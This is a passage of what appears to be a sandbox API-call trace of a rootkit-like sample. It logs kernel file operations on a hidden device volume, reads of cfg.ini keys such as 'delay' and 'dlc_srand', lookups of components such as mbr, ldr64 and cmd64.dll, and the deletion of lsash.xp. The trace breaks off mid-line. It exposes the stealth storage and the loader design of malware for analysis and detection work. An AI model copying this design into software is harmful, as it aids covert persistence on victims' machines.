KeLeaveCriticalRegion () [0119.222] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.223] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.223] KeEnterCriticalRegion () [0119.223] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.223] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0119.223] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.223] KeLeaveCriticalRegion () [0119.223] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.223] KeEnterCriticalRegion () [0119.223] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.223] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0119.223] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bdb840, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0119.223] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.223] KeLeaveCriticalRegion () [0119.223] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.223] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.223] KeEnterCriticalRegion () [0119.223] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.223] ExFreePoolWithTag (P=0xfffffa8003bdb6e0, Tag=0x0) [0119.223] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.223] KeLeaveCriticalRegion () [0119.223] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.223] ReleaseMutex (hMutex=0xf0) returned 1 [0119.223] WaitForSingleObject (hHandle=0x108, dwMilliseconds=0x0) returned 0x102 [0119.223] WaitForSingleObject (hHandle=0x100, dwMilliseconds=0xffffffff) returned 0x0 [0119.223] CreateFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffffffffffff [0119.223] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0119.223] KeEnterCriticalRegion () [0119.223] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.223] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.223] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0119.223] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0119.223] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0119.223] IdePortDispatch () returned 0x103 [0119.223] KeWaitForMutexObject () returned 0x0 [0119.223] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0119.223] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0119.224] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0119.224] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0119.224] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0119.224] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0119.224] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0119.224] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0119.224] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0119.224] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0119.224] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0119.224] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0119.224] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0119.224] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0119.224] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0119.224] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.224] KeLeaveCriticalRegion () [0119.224] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.224] DeleteFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp")) returned 0 [0119.224] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0119.224] KeEnterCriticalRegion () [0119.224] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.224] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.224] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0119.224] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0119.224] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0119.224] IdePortDispatch () returned 0x103 [0119.224] KeWaitForMutexObject () returned 0x0 [0119.224] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0119.224] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0119.224] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0119.224] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0119.224] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0119.224] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0119.224] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0119.224] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0119.224] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0119.224] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0119.224] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0119.224] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0119.224] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0119.224] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0119.224] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0119.224] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.224] KeLeaveCriticalRegion () [0119.224] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.225] ReleaseMutex (hMutex=0x100) returned 1 [0119.225] Sleep (dwMilliseconds=0x2bf20) [0119.231] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x151f4c8 | out: lpSystemTimeAsFileTime=0x151f4c8*(dwLowDateTime=0x6a4344f0, dwHighDateTime=0x1d24fa4)) [0119.231] RtlTimeToSecondsSince1970 (in: Time=0x151f4c8, ElapsedSeconds=0x151f4b0 | out: ElapsedSeconds=0x151f4b0) returned 1 [0119.231] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0119.231] GetPrivateProfileIntA (lpAppName="main", lpKeyName="knt", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0119.231] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.231] KeEnterCriticalRegion () [0119.231] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.231] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.231] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0119.231] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0119.231] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0119.231] IdePortDispatch () returned 0x103 [0119.231] KeWaitForMutexObject () returned 0x0 [0119.232] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0119.232] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0119.232] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0119.232] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0119.232] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0119.232] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bdb6e0 [0119.232] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.232] KeLeaveCriticalRegion () [0119.232] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.232] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.232] KeEnterCriticalRegion () [0119.232] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.232] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0119.232] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.232] KeLeaveCriticalRegion () [0119.232] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.232] KeEnterCriticalRegion () [0119.232] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.232] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.232] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0119.232] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0119.232] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0119.232] IdePortDispatch () returned 0x103 [0119.232] KeWaitForMutexObject () returned 0x0 [0119.233] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0119.233] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.233] KeLeaveCriticalRegion () [0119.233] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.233] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.233] KeEnterCriticalRegion () [0119.233] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.233] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002cb9000 [0119.233] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.233] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0119.233] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0119.233] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0119.233] IdePortDispatch () returned 0x103 [0119.233] KeWaitForMutexObject () returned 0x0 [0119.233] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0119.233] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.233] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0119.233] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0119.233] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0119.233] IdePortDispatch () returned 0x103 [0119.233] KeWaitForMutexObject () returned 0x0 [0119.233] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.233] KeLeaveCriticalRegion () [0119.233] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.234] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.234] KeEnterCriticalRegion () [0119.234] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.234] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0119.234] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.234] KeLeaveCriticalRegion () [0119.234] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.234] KeEnterCriticalRegion () [0119.234] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.234] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0119.234] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bdb840, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0119.234] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.234] KeLeaveCriticalRegion () [0119.234] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.234] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.234] KeEnterCriticalRegion () [0119.234] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.234] ExFreePoolWithTag (P=0xfffffa8003bdb6e0, Tag=0x0) [0119.234] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.234] KeLeaveCriticalRegion () [0119.234] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.234] ReleaseMutex (hMutex=0xf0) returned 1 [0119.234] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0119.240] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0119.240] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.240] KeEnterCriticalRegion () [0119.240] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.240] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.240] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0119.240] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0119.240] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0119.240] IdePortDispatch () returned 0x103 [0119.240] KeWaitForMutexObject () returned 0x0 [0119.240] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0119.240] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0119.240] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0119.240] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0119.240] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0119.241] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa80039ca2c0 [0119.241] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.241] KeLeaveCriticalRegion () [0119.241] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.241] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.241] KeEnterCriticalRegion () [0119.241] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.241] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0119.241] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.241] KeLeaveCriticalRegion () [0119.241] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.241] KeEnterCriticalRegion () [0119.241] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.241] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.241] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0119.241] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0119.241] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0119.241] IdePortDispatch () returned 0x103 [0119.241] KeWaitForMutexObject () returned 0x0 [0119.241] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0119.241] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.241] KeLeaveCriticalRegion () [0119.241] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.241] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.241] KeEnterCriticalRegion () [0119.241] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.241] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002cbc000 [0119.241] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.241] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0119.241] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0119.241] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0119.241] IdePortDispatch () returned 0x103 [0119.242] KeWaitForMutexObject () returned 0x0 [0119.242] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0119.242] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.242] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0119.242] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0119.242] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0119.242] IdePortDispatch () returned 0x103 [0119.242] KeWaitForMutexObject () returned 0x0 [0119.242] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.242] KeLeaveCriticalRegion () [0119.242] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.242] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.242] KeEnterCriticalRegion () [0119.242] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.242] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0119.242] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.242] KeLeaveCriticalRegion () [0119.242] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.242] KeEnterCriticalRegion () [0119.243] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.243] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0119.243] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa80039d67f0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0119.243] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.243] KeLeaveCriticalRegion () [0119.243] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.243] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.243] KeEnterCriticalRegion () [0119.243] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.243] ExFreePoolWithTag (P=0xfffffa80039ca2c0, Tag=0x0) [0119.243] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.243] KeLeaveCriticalRegion () [0119.243] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.243] ReleaseMutex (hMutex=0xf0) returned 1 [0119.243] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0119.243] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="delay", nDefault=3600, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0xe10 [0119.243] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.243] KeEnterCriticalRegion () [0119.243] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.243] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.243] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0119.243] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0119.243] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0119.243] IdePortDispatch () returned 0x103 [0119.243] KeWaitForMutexObject () returned 0x0 [0119.243] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0119.243] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0119.243] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0119.243] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0119.243] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0119.243] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bc1a50 [0119.243] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.243] KeLeaveCriticalRegion () [0119.243] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.243] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.243] KeEnterCriticalRegion () [0119.243] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.243] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0119.243] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.244] KeLeaveCriticalRegion () [0119.244] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: 